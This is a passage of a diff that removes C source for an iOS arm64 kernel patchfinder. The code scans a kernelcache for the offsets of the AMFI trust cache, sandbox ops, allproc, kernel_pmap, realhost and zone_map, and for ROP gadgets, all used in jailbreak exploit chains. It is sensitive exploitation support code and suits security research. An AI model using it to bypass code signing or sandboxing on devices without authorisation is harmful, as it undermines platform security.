uint8_t *buf, addr_t start, addr_t where) -{ - for (; where >= start; where -= 4) { - uint32_t op = *(uint32_t *)(buf + where); - if ((op & 0xFFC003FF) == 0x910003FD) { - unsigned delta = (op >> 10) & 0xFFF; - //printf("%x: ADD X29, SP, #0x%x\n", where, delta); - if ((delta & 0xF) == 0) { - addr_t prev = where - ((delta >> 4) + 1) * 4; - uint32_t au = *(uint32_t *)(buf + prev); - if ((au & 0xFFC003E0) == 0xA98003E0) { - //printf("%x: STP x, y, [SP,#-imm]!\n", prev); - return prev; - } - } - } - } - return 0; -} - -static addr_t -xref64(const uint8_t *buf, addr_t start, addr_t end, addr_t what) -{ - addr_t i; - uint64_t value[32]; - - memset(value, 0, sizeof(value)); - - end &= ~3; - for (i = start & ~3; i < end; i += 4) { - uint32_t op = *(uint32_t *)(buf + i); - unsigned reg = op & 0x1F; - if ((op & 0x9F000000) == 0x90000000) { - signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8); - //printf("%llx: ADRP X%d, 0x%llx\n", i, reg, ((long long)adr << 1) + (i & ~0xFFF)); - value[reg] = ((long long)adr << 1) + (i & ~0xFFF); - /*} else if ((op & 0xFFE0FFE0) == 0xAA0003E0) { - unsigned rd = op & 0x1F; - unsigned rm = (op >> 16) & 0x1F; - //printf("%llx: MOV X%d, X%d\n", i, rd, rm); - value[rd] = value[rm];*/ - } else if ((op & 0xFF000000) == 0x91000000) { - unsigned rn = (op >> 5) & 0x1F; - unsigned shift = (op >> 22) & 3; - unsigned imm = (op >> 10) & 0xFFF; - if (shift == 1) { - imm <<= 12; - } else { - //assert(shift == 0); - if (shift > 1) continue; - } - //printf("%llx: ADD X%d, X%d, 0x%x\n", i, reg, rn, imm); - value[reg] = value[rn] + imm; - } else if ((op & 0xF9C00000) == 0xF9400000) { - unsigned rn = (op >> 5) & 0x1F; - unsigned imm = ((op >> 10) & 0xFFF) << 3; - //printf("%llx: LDR X%d, [X%d, 0x%x]\n", i, reg, rn, imm); - if (!imm) continue; // XXX not counted as true xref - value[reg] = value[rn] + imm; // XXX address, not actual value - /*} else if ((op & 0xF9C00000) == 0xF9000000) { - unsigned rn = (op >> 5) & 0x1F; - unsigned imm = ((op >> 10) & 0xFFF) << 3; - //printf("%llx: STR X%d, [X%d, 0x%x]\n", i, reg, rn, imm); - if (!imm) continue; // XXX not counted as true xref - value[rn] = value[rn] + imm; // XXX address, not actual value*/ - } else if ((op & 0x9F000000) == 0x10000000) { - signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8); - //printf("%llx: ADR X%d, 0x%llx\n", i, reg, ((long long)adr >> 11) + i); - value[reg] = ((long long)adr >> 11) + i; - } else if ((op & 0xFF000000) == 0x58000000) { - unsigned adr = (op & 0xFFFFE0) >> 3; - //printf("%llx: LDR X%d, =0x%llx\n", i, reg, adr + i); - value[reg] = adr + i; // XXX address, not actual value - } - if (value[reg] == what) { - return i; - } - } - return 0; -} - -static addr_t -calc64(const uint8_t *buf, addr_t start, addr_t end, int which) -{ - addr_t i; - uint64_t value[32]; - - memset(value, 0, sizeof(value)); - - end &= ~3; - for (i = start & ~3; i < end; i += 4) { - uint32_t op = *(uint32_t *)(buf + i); - unsigned reg = op & 0x1F; - if ((op & 0x9F000000) == 0x90000000) { - signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8); - //printf("%llx: ADRP X%d, 0x%llx\n", i, reg, ((long long)adr << 1) + (i & ~0xFFF)); - value[reg] = ((long long)adr << 1) + (i & ~0xFFF); - /*} else if ((op & 0xFFE0FFE0) == 0xAA0003E0) { - unsigned rd = op & 0x1F; - unsigned rm = (op >> 16) & 0x1F; - //printf("%llx: MOV X%d, X%d\n", i, rd, rm); - value[rd] = value[rm];*/ - } else if ((op & 0xFF000000) == 0x91000000) { - unsigned rn = (op >> 5) & 0x1F; - unsigned shift = (op >> 22) & 3; - unsigned imm = (op >> 10) & 0xFFF; - if (shift == 1) { - imm <<= 12; - } else { - //assert(shift == 0); - if (shift > 1) continue; - } - //printf("%llx: ADD X%d, X%d, 0x%x\n", i, reg, rn, imm); - value[reg] = value[rn] + imm; - } else if ((op & 0xF9C00000) == 0xF9400000) { - unsigned rn = (op >> 5) & 0x1F; - unsigned imm = ((op >> 10) & 0xFFF) << 3; - //printf("%llx: LDR X%d, [X%d, 0x%x]\n", i, reg, rn, imm); - if (!imm) continue; // XXX not counted as true xref - value[reg] = value[rn] + imm; // XXX address, not actual value - } else if ((op & 0xF9C00000) == 0xF9000000) { - unsigned rn = (op >> 5) & 0x1F; - unsigned imm = ((op >> 10) & 0xFFF) << 3; - //printf("%llx: STR X%d, [X%d, 0x%x]\n", i, reg, rn, imm); - if (!imm) continue; // XXX not counted as true xref - value[rn] = value[rn] + imm; // XXX address, not actual value - } else if ((op & 0x9F000000) == 0x10000000) { - signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8); - //printf("%llx: ADR X%d, 0x%llx\n", i, reg, ((long long)adr >> 11) + i); - value[reg] = ((long long)adr >> 11) + i; - } else if ((op & 0xFF000000) == 0x58000000) { - unsigned adr = (op & 0xFFFFE0) >> 3; - //printf("%llx: LDR X%d, =0x%llx\n", i, reg, adr + i); - value[reg] = adr + i; // XXX address, not actual value - } - } - return value[which]; -} - -/* -static addr_t -calc64mov(const uint8_t *buf, addr_t start, addr_t end, int which) -{ - addr_t i; - uint64_t value[32]; - - memset(value, 0, sizeof(value)); - - end &= ~3; - for (i = start & ~3; i < end; i += 4) { - uint32_t op = *(uint32_t *)(buf + i); - unsigned reg = op & 0x1F; - uint64_t newval; - int rv = DecodeMov(op, value[reg], 0, &newval); - if (rv == 0) { - if (((op >> 31) & 1) == 0) { - newval &= 0xFFFFFFFF; - } - value[reg] = newval; - } - } - return value[which]; -} - -static addr_t -find_call64(const uint8_t *buf, addr_t start, size_t length) -{ - return step64(buf, start, length, 0x94000000, 0xFC000000); -} -*/ - -static addr_t -follow_call64(const uint8_t *buf, addr_t call) -{ - long long w; - w = *(uint32_t *)(buf + call) & 0x3FFFFFF; - w <<= 64 - 26; - w >>= 64 - 26 - 2; - return call + w; -} - -static addr_t -follow_cbz(const uint8_t *buf, addr_t cbz) -{ - return cbz + ((*(int *)(buf + cbz) & 0x3FFFFE0) << 10 >> 13); -} - -/* kernel iOS10 **************************************************************/ - -#ifdef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ -#include -size_t kread(uint64_t where, void *p, size_t size); -#endif - -static uint8_t *kernel = NULL; -static size_t kernel_size = 0; - -static addr_t xnucore_base = 0; -static addr_t xnucore_size = 0; -static addr_t prelink_base = 0; -static addr_t prelink_size = 0; -static addr_t cstring_base = 0; -static addr_t cstring_size = 0; -static addr_t pstring_base = 0; -static addr_t pstring_size = 0; -static addr_t kerndumpbase = -1; -static addr_t kernel_entry = 0; -static void *kernel_mh = 0; -#ifndef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ -static addr_t kernel_delta = 0; -#endif - -int -init_kernel(addr_t base, const char *filename) -{ - size_t rv; - uint8_t buf[0x4000]; - unsigned i, j; - const struct mach_header *hdr = (struct mach_header *)buf; - const uint8_t *q; - addr_t min = -1; - addr_t max = 0; - int is64 = 0; - -#ifdef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ -#define close(f) - rv = kread(base, buf, sizeof(buf)); - if (rv != sizeof(buf)) { - return -1; - } -#else /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */ - int fd = open(filename, O_RDONLY); - if (fd < 0) { - return -1; - } - - rv = read(fd, buf, sizeof(buf)); - if (rv != sizeof(buf)) { - close(fd); - return -1; - } -#endif /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */ - - if (!MACHO(buf)) { - close(fd); - return -1; - } - - if (IS64(buf)) { - is64 = 4; - } - - q = buf + sizeof(struct mach_header) + is64; - for (i = 0; i < hdr->ncmds; i++) { - const struct load_command *cmd = (struct load_command *)q; - if (cmd->cmd == LC_SEGMENT_64) { - const struct segment_command_64 *seg = (struct segment_command_64 *)q; - if (min > seg->vmaddr) { - min = seg->vmaddr; - } - if (max < seg->vmaddr + seg->vmsize) { - max = seg->vmaddr + seg->vmsize; - } - if (!strcmp(seg->segname, "__TEXT_EXEC")) { - xnucore_base = seg->vmaddr; - xnucore_size = seg->filesize; - } - if (!strcmp(seg->segname, "__PLK_TEXT_EXEC")) { - prelink_base = seg->vmaddr; - prelink_size = seg->filesize; - } - if (!strcmp(seg->segname, "__TEXT")) { - const struct section_64 *sec = (struct section_64 *)(seg + 1); - for (j = 0; j < seg->nsects; j++) { - if (!strcmp(sec[j].sectname, "__cstring")) { - cstring_base = sec[j].addr; - cstring_size = sec[j].size; - } - } - } - if (!strcmp(seg->segname, "__PRELINK_TEXT")) { - const struct section_64 *sec = (struct section_64 *)(seg + 1); - for (j = 0; j < seg->nsects; j++) { - if (!strcmp(sec[j].sectname, "__text")) { - pstring_base = sec[j].addr; - pstring_size = sec[j].size; - } - } - } - } - if (cmd->cmd == LC_UNIXTHREAD) { - uint32_t *ptr = (uint32_t *)(cmd + 1); - uint32_t flavor = ptr[0]; - struct { - uint64_t x[29]; /* General purpose registers x0-x28 */ - uint64_t fp; /* Frame pointer x29 */ - uint64_t lr; /* Link register x30 */ - uint64_t sp; /* Stack pointer x31 */ - uint64_t pc; /* Program counter */ - uint32_t cpsr; /* Current program status register */ - } *thread = (void *)(ptr + 2); - if (flavor == 6) { - kernel_entry = thread->pc; - } - } - q = q + cmd->cmdsize; - } - - kerndumpbase = min; - xnucore_base -= kerndumpbase; - prelink_base -= kerndumpbase; - cstring_base -= kerndumpbase; - pstring_base -= kerndumpbase; - kernel_size = max - min; - -#ifdef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ - kernel = malloc(kernel_size); - if (!kernel) { - return -1; - } - rv = kread(kerndumpbase, kernel, kernel_size); - if (rv != kernel_size) { - free(kernel); - return -1; - } - - kernel_mh = kernel + base - min; - - (void)filename; -#undef close -#else /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */ - kernel = calloc(1, kernel_size); - if (!kernel) { - close(fd); - return -1; - } - - q = buf + sizeof(struct mach_header) + is64; - for (i = 0; i < hdr->ncmds; i++) { - const struct load_command *cmd = (struct load_command *)q; - if (cmd->cmd == LC_SEGMENT_64) { - const struct segment_command_64 *seg = (struct segment_command_64 *)q; - size_t sz = pread(fd, kernel + seg->vmaddr - min, seg->filesize, seg->fileoff); - if (sz != seg->filesize) { - close(fd); - free(kernel); - return -1; - } - if (!kernel_mh) { - kernel_mh = kernel + seg->vmaddr - min; - } - if (!strcmp(seg->segname, "__LINKEDIT")) { - kernel_delta = seg->vmaddr - min - seg->fileoff; - } - } - q = q + cmd->cmdsize; - } - - close(fd); - - (void)base; -#endif /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */ - return 0; -} - -void -term_kernel(void) -{ - if (kernel != NULL) { - free(kernel); - kernel = NULL; - } -} - -/* these operate on VA ******************************************************/ - -#define INSN_RET 0xD65F03C0, 0xFFFFFFFF -#define INSN_CALL 0x94000000, 0xFC000000 -#define INSN_B 0x14000000, 0xFC000000 -#define INSN_CBZ 0x34000000, 0xFC000000 -#define INSN_ADRP 0x90000000, 0x9F000000 - -addr_t -find_register_value(addr_t where, int reg) -{ - addr_t val; - addr_t bof = 0; - where -= kerndumpbase; - if (where > xnucore_base) { - bof = bof64(kernel, xnucore_base, where); - if (!bof) { - bof = xnucore_base; - } - } else if (where > prelink_base) { - bof = bof64(kernel, prelink_base, where); - if (!bof) { - bof = prelink_base; - } - } - val = calc64(kernel, bof, where, reg); - if (!val) { - return 0; - } - return val + kerndumpbase; -} - -addr_t -find_reference(addr_t to, int n, int prelink) -{ - addr_t ref, end; - addr_t base = xnucore_base; - addr_t size = xnucore_size; - if (prelink) { - base = prelink_base; - size = prelink_size; - } - if (n <= 0) { - n = 1; - } - end = base + size; - to -= kerndumpbase; - do { - ref = xref64(kernel, base, end, to); - if (!ref) { - return 0; - } - base = ref + 4; - } while (--n > 0); - return ref + kerndumpbase; -} - -addr_t -find_strref(const char *string, int n, int prelink) -{ - uint8_t *str; - addr_t base = cstring_base; - addr_t size = cstring_size; - if (prelink) { - base = pstring_base; - size = pstring_size; - } - str = boyermoore_horspool_memmem(kernel + base, size, (uint8_t *)string, strlen(string)); - if (!str) { - return 0; - } - return find_reference(str - kernel + kerndumpbase, n, prelink); -} - -addr_t -find_gPhysBase(void) -{ - addr_t ret, val; - addr_t ref = find_strref("\"pmap_map_high_window_bd: insufficient pages", 1, 0); - if (!ref) { - return 0; - } - ref -= kerndumpbase; - ret = step64(kernel, ref, 64, INSN_RET); - if (!ret) { - // iOS 11 - ref = step64(kernel, ref, 1024, INSN_RET); - if (!ref) { - return 0; - } - ret = step64(kernel, ref + 4, 64, INSN_RET); - if (!ret) { - return 0; - } - } - val = calc64(kernel, ref, ret, 8); - if (!val) { - return 0; - } - return val + kerndumpbase; -} - -addr_t -find_kernel_pmap(void) -{ - addr_t call, bof, val; - addr_t ref = find_strref("\"pmap_map_bd\"", 1, 0); - if (!ref) { - return 0; - } - ref -= kerndumpbase; - call = step64_back(kernel, ref, 64, INSN_CALL); - if (!call) { - return 0; - } - bof = bof64(kernel, xnucore_base, call); - if (!bof) { - return 0; - } - val = calc64(kernel, bof, call, 2); - if (!val) { - return 0; - } - return val + kerndumpbase; -} - -addr_t -find_amfiret(void) -{ - addr_t ret; - addr_t ref = find_strref("AMFI: hook..execve() killing pid %u: %s\n", 1, 1); - if (!ref) { - return 0; - } - ref -= kerndumpbase; - ret = step64(kernel, ref, 512, INSN_RET); - if (!ret) { - return 0; - } - return ret + kerndumpbase; -} - -addr_t -find_ret_0(void) -{ - addr_t off; - uint32_t *k; - k = (uint32_t *)(kernel + xnucore_base); - for (off = 0; off < xnucore_size - 4; off += 4, k++) { - if (k[0] == 0xAA1F03E0 && k[1] == 0xD65F03C0) { - return off + xnucore_base + kerndumpbase; - } - } - k = (uint32_t *)(kernel + prelink_base); - for (off = 0; off < prelink_size - 4; off += 4, k++) { - if (k[0] == 0xAA1F03E0 && k[1] == 0xD65F03C0) { - return off + prelink_base + kerndumpbase; - } - } - return 0; -} - -addr_t -find_amfi_memcmpstub(void) -{ - addr_t call, dest, reg; - addr_t ref = find_strref("%s: Possible race detected. Rejecting.", 1, 1); - if (!ref) { - return 0; - } - ref -= kerndumpbase; - call = step64_back(kernel, ref, 64, INSN_CALL); - if (!call) { - return 0; - } - dest = follow_call64(kernel, call); - if (!dest) { - return 0; - } - reg = calc64(kernel, dest, dest + 8, 16); - if (!reg) { - return 0; - } - return reg + kerndumpbase; -} - -addr_t -find_sbops(void) -{ - addr_t off, what; - uint8_t *str = boyermoore_horspool_memmem(kernel + pstring_base, pstring_size, (uint8_t *)"Seatbelt sandbox policy", sizeof("Seatbelt sandbox policy") - 1); - if (!str) { - return 0; - } - what = str - kernel + kerndumpbase; - for (off = 0; off < kernel_size - prelink_base; off += 8) { - if (*(uint64_t *)(kernel + prelink_base + off) == what) { - return *(uint64_t *)(kernel + prelink_base + off + 24); - } - } - return 0; -} - -addr_t -find_lwvm_mapio_patch(void) -{ - addr_t call, dest, reg; - addr_t ref = find_strref("_mapForIO", 1, 1); - if (!ref) { - return 0; - } - ref -= kerndumpbase; - call = step64(kernel, ref, 64, INSN_CALL); - if (!call) { - return 0; - } - call = step64(kernel, call + 4, 64, INSN_CALL); - if (!call) { - return 0; - } - dest = follow_call64(kernel, call); - if (!dest) { - return 0; - } - reg = calc64(kernel, dest, dest + 8, 16); - if (!reg) { - return 0; - } - return reg + kerndumpbase; -} - -addr_t -find_lwvm_mapio_newj(void) -{ - addr_t call; - addr_t ref = find_strref("_mapForIO", 1, 1); - if (!ref) { - return 0; - } - ref -= kerndumpbase; - call = step64(kernel, ref, 64, INSN_CALL); - if (!call) { - return 0; - } - call = step64(kernel, call + 4, 64, INSN_CALL); - if (!call) { - return 0; - } - call = step64(kernel, call + 4, 64, INSN_CALL); - if (!call) { - return 0; - } - call = step64_back(kernel, call, 64, INSN_B); - if (!call) { - return 0; - } - return call + 4 + kerndumpbase; -} - -addr_t -find_cpacr_write(void) -{ - addr_t off; - uint32_t *k; - k = (uint32_t *)(kernel + xnucore_base); - for (off = 0; off < xnucore_size - 4; off += 4, k++) { - if (k[0] == 0xd5181040) { - return off + xnucore_base + kerndumpbase; - } - } - return 0; -} - -addr_t -find_str(const char *string) -{ - uint8_t *str = boyermoore_horspool_memmem(kernel, kernel_size, (uint8_t *)string, strlen(string)); - if (!str) { - return 0; - } - return str - kernel + kerndumpbase; -} - -addr_t -find_entry(void) -{ - /* XXX returns an unslid address */ - return kernel_entry; -} - -const unsigned char * -find_mh(void) -{ - return kernel_mh; -} - -addr_t -find_amfiops(void) -{ - addr_t off, what; - uint8_t *str = boyermoore_horspool_memmem(kernel + pstring_base, pstring_size, (uint8_t *)"Apple Mobile File Integrity", sizeof("Apple Mobile File Integrity") - 1); - if (!str) { - return 0; - } - what = str - kernel + kerndumpbase; - /* XXX will only work on a dumped kernel */ - for (off = 0; off < kernel_size - prelink_base; off += 8) { - if (*(uint64_t *)(kernel + prelink_base + off) == what) { - return *(uint64_t *)(kernel + prelink_base + off + 0x18); - } - } - return 0; -} - -addr_t -find_sysbootnonce(void) -{ - addr_t off, what; - uint8_t *str = boyermoore_horspool_memmem(kernel + cstring_base, cstring_size, (uint8_t *)"com.apple.System.boot-nonce", sizeof("com.apple.System.boot-nonce") - 1); - if (!str) { - return 0; - } - what = str - kernel + kerndumpbase; - for (off = 0; off < kernel_size - xnucore_base; off += 8) { - if (*(uint64_t *)(kernel + xnucore_base + off) == what) { - return xnucore_base + off + 8 + 4 + kerndumpbase; - } - } - return 0; -} - -addr_t -find_trustcache(void) -{ - addr_t cbz, call, func, val; - addr_t ref = find_strref("amfi_prevent_old_entitled_platform_binaries", 1, 1); - if (!ref) { - // iOS 11 - ref = find_strref("com.apple.MobileFileIntegrity", 0, 1); - if (!ref) { - return 0; - } - ref -= kerndumpbase; - call = step64(kernel, ref, 64, INSN_CALL); - if (!call) { - return 0; - } - call = step64(kernel, call + 4, 64, INSN_CALL); - goto okay; - } - ref -= kerndumpbase; - cbz = step64(kernel, ref, 32, INSN_CBZ); - if (!cbz) { - return 0; - } - call = step64(kernel, follow_cbz(kernel, cbz), 4, INSN_CALL); - okay: - if (!call) { - return 0; - } - func = follow_call64(kernel, call); - if (!func) { - return 0; - } - val = calc64(kernel, func, func + 16, 8); - if (!val) { - ref = find_strref("%s: only allowed process can check the trust cache", 1, 1); // Trying to find AppleMobileFileIntegrityUserClient::isCdhashInTrustCache - if (!ref) { - return 0; - } - ref -= kerndumpbase; - call = step64_back(kernel, ref, 11*4, INSN_CALL); - if (!call) { - return 0; - } - func = follow_call64(kernel, call); - if (!func) { - return 0; - } - call = step64(kernel, func, 8*4, INSN_CALL); - if (!call) { - return 0; - } - func = follow_call64(kernel, call); - if (!func) { - return 0; - } - call = step64(kernel, func, 8*4, INSN_CALL); - if (!call) { - return 0; - } - call = step64(kernel, call+4, 8*4, INSN_CALL); - if (!call) { - return 0; - } - func = follow_call64(kernel, call); - if (!func) { - return 0; - } - call = step64(kernel, func, 12*4, INSN_CALL); - if (!call) { - return 0; - } - - val = calc64(kernel, call, call + 6*4, 21); - } - return val + kerndumpbase; -} - -addr_t -find_amficache(void) -{ - addr_t ref = find_strref("in-kernel", 1, 1); - if (!ref) { - return 0; - } - ref -= kerndumpbase; - //printf("ref at 0x%llx 0x%llx\n", ref, REAL_ADDR(ref)); - addr_t call = step64_back(kernel, ref, 32, INSN_CALL); - if (!call) { - return 0; - } - //printf("call at 0x%llx 0x%llx\n", call, REAL_ADDR(call)); - if (!call) { - return 0; - } - addr_t func = follow_call64(kernel, call); - //printf("func at 0x%llx 0x%llx\n", func, REAL_ADDR(func)); - if (!func) { - return 0; - } - addr_t val = calc64(kernel, func + 32, func + 40, 9); - return val + kerndumpbase; -} - -/* extra_recipe **************************************************************/ - -#define INSN_STR8 0xF9000000 | 8, 0xFFC00000 | 0x1F -#define INSN_POPS 0xA9407BFD, 0xFFC07FFF - -addr_t -find_AGXCommandQueue_vtable(void) -{ - addr_t val, str8; - addr_t ref = find_strref("AGXCommandQueue", 1, 1); - if (!ref) { - return 0; - } - val = find_register_value(ref, 0); - if (!val) { - return 0; - } - ref = find_reference(val, 1, 1); - if (!ref) { - return 0; - } - ref -= kerndumpbase; - str8 = step64(kernel, ref, 32, INSN_STR8); - if (!str8) { - return 0; - } - val = calc64(kernel, ref, str8, 8); - if (!val) { - return 0; - } - return val + kerndumpbase; -} - -addr_t -find_allproc(void) -{ - addr_t val, bof, str8; - addr_t ref = find_strref("\"pgrp_add : pgrp is dead adding process\"", 1, 0); - if (!ref) { - return 0; - } - ref -= kerndumpbase; - bof = bof64(kernel, xnucore_base, ref); - if (!bof) { - return 0; - } - str8 = step64_back(kernel, ref, ref - bof, INSN_STR8); - if (!str8) { - // iOS 11 - addr_t ldp = step64(kernel, ref, 1024, INSN_POPS); - if (!ldp) { - return 0; - } - str8 = step64_back(kernel, ldp, ldp - bof, INSN_STR8); - if (!str8) { - return 0; - } - } - val = calc64(kernel, bof, str8, 8); - if (!val) { - return 0; - } - return val + kerndumpbase; -} - -addr_t -find_call5(void) -{ - addr_t bof; - uint8_t gadget[] = { 0x95, 0x5A, 0x40, 0xF9, 0x68, 0x02, 0x40, 0xF9, 0x88, 0x5A, 0x00, 0xF9, 0x60, 0xA2, 0x40, 0xA9 }; - uint8_t *str = boyermoore_horspool_memmem(kernel + prelink_base, prelink_size, gadget, sizeof(gadget)); - if (!str) { - return 0; - } - bof = bof64(kernel, prelink_base, str - kernel); - if (!bof) { - return 0; - } - return bof + kerndumpbase; -} - -addr_t find_add_x0_x0_0x40_ret(void) { - addr_t off; - uint32_t *k; - k = (uint32_t *)(kernel + xnucore_base); - for (off = 0; off < xnucore_size - 4; off += 4, k++) { - if (k[0] == 0x91010000 && k[1] == 0xD65F03C0) { - return off + xnucore_base + kerndumpbase; - } - } - k = (uint32_t *)(kernel + prelink_base); - for (off = 0; off < prelink_size - 4; off += 4, k++) { - if (k[0] == 0x91010000 && k[1] == 0xD65F03C0) { - return off + prelink_base + kerndumpbase; - } - } - return 0; -} - -addr_t find_copyout(void) { - // Find the first reference to the string - addr_t ref = find_strref("\"%s(%p, %p, %lu) - transfer too large\"", 2, 0); - if (!ref) { - return 0; - } - ref -= kerndumpbase; - - uint64_t start = 0; - for (int i = 4; i < 0x100*4; i+=4) { - uint32_t op = *(uint32_t*)(kernel+ref-i); - if (op == 0xd10143ff) { // SUB SP, SP, #0x50 - start = ref-i; - break; - } - } - if (!start) { - return 0; - } - - return start + kerndumpbase; -} - -addr_t find_bzero(void) { - // Just find SYS #3, c7, c4, #1, X3, then get the start of that function - addr_t off; - uint32_t *k; - k = (uint32_t *)(kernel + xnucore_base); - for (off = 0; off < xnucore_size - 4; off += 4, k++) { - if (k[0] == 0xd50b7423) { - off += xnucore_base; - break; - } - } - - uint64_t start = bof64(kernel, xnucore_base, off); - if (!start) { - return 0; - } - - return start + kerndumpbase; -} - -addr_t find_bcopy(void) { - // Jumps straight into memmove after switching x0 and x1 around - // Guess we just find the switch and that's it - addr_t off; - uint32_t *k; - k = (uint32_t *)(kernel + xnucore_base); - for (off = 0; off < xnucore_size - 4; off += 4, k++) { - if (k[0] == 0xAA0003E3 && k[1] == 0xAA0103E0 && k[2] == 0xAA0303E1 && k[3] == 0xd503201F) { - return off + xnucore_base + kerndumpbase; - } - } - k = (uint32_t *)(kernel + prelink_base); - for (off = 0; off < prelink_size - 4; off += 4, k++) { - if (k[0] == 0xAA0003E3 && k[1] == 0xAA0103E0 && k[2] == 0xAA0303E1 && k[3] == 0xd503201F) { - return off + prelink_base + kerndumpbase; - } - } - return 0; -} - -addr_t find_rootvnode(void) { - // Find the first reference to the string - addr_t ref = find_strref("/var/run/.vfs_rsrc_streams_%p%x", 1, 0); - if (!ref) { - return 0; - } - ref -= kerndumpbase; - - uint64_t start = bof64(kernel, xnucore_base, ref); - if (!start) { - return 0; - } - - // Find MOV X9, #0x2000000000 - it's a pretty distinct instruction - addr_t weird_instruction = 0; - for (int i = 4; i < 4*0x100; i+=4) { - uint32_t op = *(uint32_t *)(kernel + ref - i); - if (op == 0xB25B03E9) { - weird_instruction = ref-i; - break; - } - } - if (!weird_instruction) { - return 0; - } - - uint64_t val = calc64(kernel, start, weird_instruction, 8); - if (!val) { - return 0; - } - - return val + kerndumpbase; -} - -addr_t find_realhost(void) { - uint64_t val = kerndumpbase; - - addr_t ref1 = find_strref("\"ipc_init: kmem_suballoc of ipc_kernel_copy_map failed\"", 1, 0); - ref1 -= kerndumpbase; - addr_t ref2 = find_strref("\"ipc_host_init\"", 1, 0); - ref2 -= kerndumpbase; - - addr_t call = ref2; - call = step64(kernel, call+4, 32, INSN_CALL); // panic - call = step64(kernel, call+4, 32, INSN_CALL); // something about - call = step64(kernel, call+4, 32, INSN_CALL); // allocing ports - call = step64(kernel, call+4, 32, INSN_CALL); // _lck_mtx_lock - - call -= 4; // previous insn - - uint32_t mov_opcode = *(uint32_t*)(kernel+call); - // must be mov x0, xm - if ((mov_opcode & 0xAA0003E0) != 0xAA0003E0) { - return 0; - } - uint8_t xm = (mov_opcode & 0x1F0000) >> 16; - - uint32_t *insn = (uint32_t*)(kernel+ref1); - int i = 0; - - // adrp xX, #_realhost@PAGE - for (i = 0; i != ref2 - ref1; ++i) { - if ((insn[i] & xm) == xm && (insn[i] & 0x9F000000) == 0x90000000) - break; - } - - if (i == ref2 - ref1) { - return 0; - } - - // get pc - val += ((uint8_t*)(insn + i) - kernel) & ~0xfff; - - // don't ask, I wrote this at 5am - val += (insn[i]<<9 & 0x1ffffc000) | (insn[i]>>17 & 0x3000); - - // add xX, xX, #_realhost@PAGEOFF - ++i; - // xd == xX, xn == xX, SS == 00 - if ((insn[i]&0x1f) != xm || ((insn[i]>>5)&0x1f) != xm || ((insn[i]>>22)&3) != 0) { - return 0; - } - - val += (insn[i]>>10) & 0xfff; - - return val; -} - -addr_t find_zone_map_ref(void) { - // \"Nothing being freed to the zone_map. start = end = %p\\n\" - uint64_t val = kerndumpbase; - - addr_t ref = find_strref("\"Nothing being freed to the zone_map. start = end = %p\\n\"", 1, 0); - ref -= kerndumpbase; - - // skip add & adrp for panic str - ref -= 8; - - // adrp xX, #_zone_map@PAGE - ref = step64_back(kernel, ref, 30, INSN_ADRP); - - uint32_t *insn = (uint32_t*)(kernel+ref); - // get pc - val += ((uint8_t*)(insn) - kernel) & ~0xfff; - uint8_t xm = *insn & 0x1f; - - // don't ask, I wrote this at 5am - val += (*insn<<9 & 0x1ffffc000) | (*insn>>17 & 0x3000); - - // ldr x, [xX, #_zone_map@PAGEOFF] - ++insn; - if ((*insn & 0xF9C00000) != 0xF9400000) { - return 0; - } - - // xd == xX, xn == xX, - if ((*insn&0x1f) != xm || ((*insn>>5)&0x1f) != xm) { - return 0; - } - - val += ((*insn >> 10) & 0xFFF) << 3; - - return val; -} - -addr_t find_OSBoolean_True(void) { - addr_t val; - addr_t ref = find_strref("Delay Autounload", 0, 0); - if (!ref) { - return 0; - } - ref -= kerndumpbase; - - addr_t weird_instruction = 0; - for (int i = 4; i < 4*0x100; i+=4) { - uint32_t op = *(uint32_t *)(kernel + ref + i); - if (op == 0x320003E0) { - weird_instruction = ref+i; - break; - } - } - if (!weird_instruction) { - return 0; - } - - val = calc64(kernel, ref, weird_instruction, 8); - if (!val) { - return 0; - } - - return rk64(val + kerndumpbase); -} - -addr_t find_OSBoolean_False(void) { - return find_OSBoolean_True() + 8; -} - -addr_t find_osunserializexml(void) { - addr_t ref = find_strref("OSUnserializeXML: %s near line %d\n", 1, 0); - ref -= kerndumpbase; - uint64_t start = bof64(kernel, xnucore_base, ref); - return start + kerndumpbase; -} - -addr_t find_smalloc(void) { - addr_t ref = find_strref("sandbox memory allocation failure", 1, 1); - ref -= kerndumpbase; - uint64_t start = bof64(kernel, prelink_base, ref); - return start + kerndumpbase; -} - -addr_t find_vfs_context_current(void) { - addr_t call1; - addr_t func1; - - addr_t error_str = find_strref("\"vnode_put(%p): iocount < 1\"", 1, 0); - error_str -= kerndumpbase; - - call1 = step64_back(kernel, error_str, 10*4, INSN_CALL); - func1 = follow_call64(kernel, call1); - - return func1 + kerndumpbase; -} - - -addr_t find_vnode_lookup(void) { - addr_t call1; - addr_t func1; - - addr_t hfs_str = find_strref("hfs: journal open cb: error %d looking up device %s (dev uuid %s)\n", 1, 1); - hfs_str -= kerndumpbase; - - call1 = step64_back(kernel, hfs_str, 10*4, INSN_CALL); - - // this gets to the stub - func1 = follow_call64(kernel, call1); - - addr_t stub_offset = calc64(kernel, func1, func1+12, 16); - addr_t val = *(addr_t*)(kernel+stub_offset); - - return val; -} - -addr_t find_vnode_put(void) { - addr_t call1, call2, call3; - addr_t func1; - - addr_t ent_str = find_strref("KBY: getparent(%p) != parent_vp(%p)", 1, 1); - ent_str -= kerndumpbase; - - call1 = step64(kernel, ent_str, 20*4, INSN_CALL); - call1 += 4; - call2 = step64(kernel, call1, 20*4, INSN_CALL); - call2 += 4; - call3 = step64(kernel, call2, 20*4, INSN_CALL); - - // this gets to the stub - func1 = follow_call64(kernel, call3); - - addr_t stub_offset = calc64(kernel, func1, func1+12, 16); - addr_t val = *(addr_t*)(kernel+stub_offset); - - return val; -} - -addr_t find_vnode_getfromfd(void) { - addr_t call1, call2, call3, call4, call5, call6, call7; - addr_t func1; - - 